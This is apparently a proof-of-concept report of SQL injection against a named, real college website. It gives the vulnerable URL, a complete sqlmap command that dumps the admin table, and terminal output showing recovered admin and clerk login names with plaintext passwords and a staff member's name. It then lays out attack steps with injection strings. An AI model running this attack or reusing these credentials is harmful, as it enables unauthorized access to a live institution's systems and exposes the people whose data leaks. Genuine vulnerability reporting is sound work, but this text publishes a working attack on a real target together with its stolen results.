

## Reporting the vulnerability

### Proof of concept(POC)

Vulnerability Name : SQL INTECTION

Vulnerability Desprition: SQL Injection (SQLi) is a web security vulnerability that lets an attacker interfere with application database queries. This can lead to unauthorized data access, modification, deletion, or even execution of administrative operations on the database.

Vulnerable Url: <https://ssvhapur.ac.in/profile.php?id=3>

Payload used :

```
sqlmap -u "https://ssvhapur.ac.in/profile.php?id=3*" --batch --banner --risk=3 --level=3 -D
```

```
sql_ssvpgcollege -T admin -C id,image,logo,moblie,pass1,user1 --dump
```

Proof of concept Photo:

```
root@cyberthreya: /home/322103310012
File Actions Edit View Help
root@cyberthreya: /home/322103310012 x root@cyberthreya: /home/322103310012 x root@cyberthreya: /home/322103310012 x
[14:11:31] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[14:11:31] [INFO] retrieved: 2
[14:11:36] [INFO] retrieved: 1
[14:11:42] [INFO] retrieved: img40.JPEG
[14:12:32] [INFO] retrieved: img3.jpeg
[14:13:16] [INFO] retrieved:
[14:13:18] [WARNING] (case) time-based comparison requires reset of statistical model, please wait..... (done)
[14:13:39] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[14:13:41] [INFO] retrieved: admin123
[14:14:19] [INFO] retrieved: admin@123
[14:15:02] [INFO] retrieved: 2
[14:15:08] [INFO] retrieved: img40.JPEG
[14:15:59] [INFO] retrieved: img3.jpeg
[14:16:43] [INFO] retrieved:
[14:16:45] [INFO] retrieved:
[14:16:47] [INFO] retrieved: clerk123
[14:17:25] [INFO] retrieved: clerk@123
Database: sql_ssvpgcollege
Table: admin
2 entries
+-----+-----+-----+-----+-----+
| user1 | pass1 | id | image | moblie | logo |
+-----+-----+-----+-----+-----+
| admin@123 | admin123 | 1 | img40.JPEG | <blank> | img3.jpeg |
| clerk@123 | clerk123 | 2 | img40.JPEG | <blank> | img3.jpeg |
+-----+-----+-----+-----+-----+
[14:18:09] [INFO] table 'sql_ssvpgcollege.'admin' dumped to CSV file '/root/.local/share/sqlmap/output/ssvhapur.ac.in/dump/sql_ssvpgcollege/admin.csv'
[14:18:09] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/ssvhapur.ac.in'
[14:18:09] [WARNING] your sqlmap version is outdated
[*] ending @ 14:18:09 /2025-05-06/
```

```
root@cyberthreya: /home/322103310012
File Actions Edit View Help
root@cyberthreya: /home/322103310012 x root@cyberthreya: /home/322103310012 x root@cyberthreya: /home/322103310012 x
[14:22:22] [INFO] retrieved: Dr. R.P. Singh
[14:23:34] [INFO] resumed: 1
[14:23:34] [INFO] resumed: img40.JPEG
[14:23:34] [INFO] retrieved:
[14:23:36] [WARNING] (case) time-based comparison requires reset of statistical model, please wait..... (done)
[14:23:56] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[14:23:59] [INFO] retrieved:
[14:24:01] [INFO] retrieved:
[14:24:03] [INFO] retrieved: Associate Professor
[14:25:35] [INFO] retrieved: Dr. R.P. Singh
[14:26:45] [INFO] resumed: 2
[14:26:45] [INFO] resumed: img40.JPEG
[14:26:45] [INFO] retrieved:
[14:26:47] [INFO] retrieved:
[14:26:49] [INFO] retrieved:
[14:26:51] [INFO] retrieved:
[14:26:53] [INFO] retrieved: Associate Professor
Database: sql_ssvpgcollege
Table: admin
2 entries
+-----+-----+-----+-----+-----+
| name | id | image | message | mname | post |
+-----+-----+-----+-----+-----+
| Dr. R.P. Singh | 1 | img40.JPEG | <blank> | <blank> | Associate Professor |
| Dr. R.P. Singh | 2 | img40.JPEG | <blank> | <blank> | Associate Professor |
+-----+-----+-----+-----+-----+
[14:28:26] [INFO] table 'sql_ssvpgcollege.'admin' dumped to CSV file '/root/.local/share/sqlmap/output/ssvhapur.ac.in/dump/sql_ssvpgcollege/admin.csv'
[14:28:26] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/ssvhapur.ac.in'
[14:28:26] [WARNING] your sqlmap version is outdated
[*] ending @ 14:28:26 /2025-05-06/
root@cyberthreya: /home/322103310012
```

Steps to perform attack:

Step1: open the link in the browser

<https://ssvhapur.ac.in/profile.php?id=3>

Step2: we have to find input parameter

\ ' " " ) ' )

Step3: then we have to fix the query

'--+ "--+ " )--+ ' ) --+

Step4: then we have to perform the attack

```
sqlmap -u "https://ssvhapur.ac.in/profile.php?id=3*" --batch --banner --risk=3 --level=3 -D  
sql_ssvpgcollege -T admin -C id,image,logo,moblie,pass1,user1 --dump
```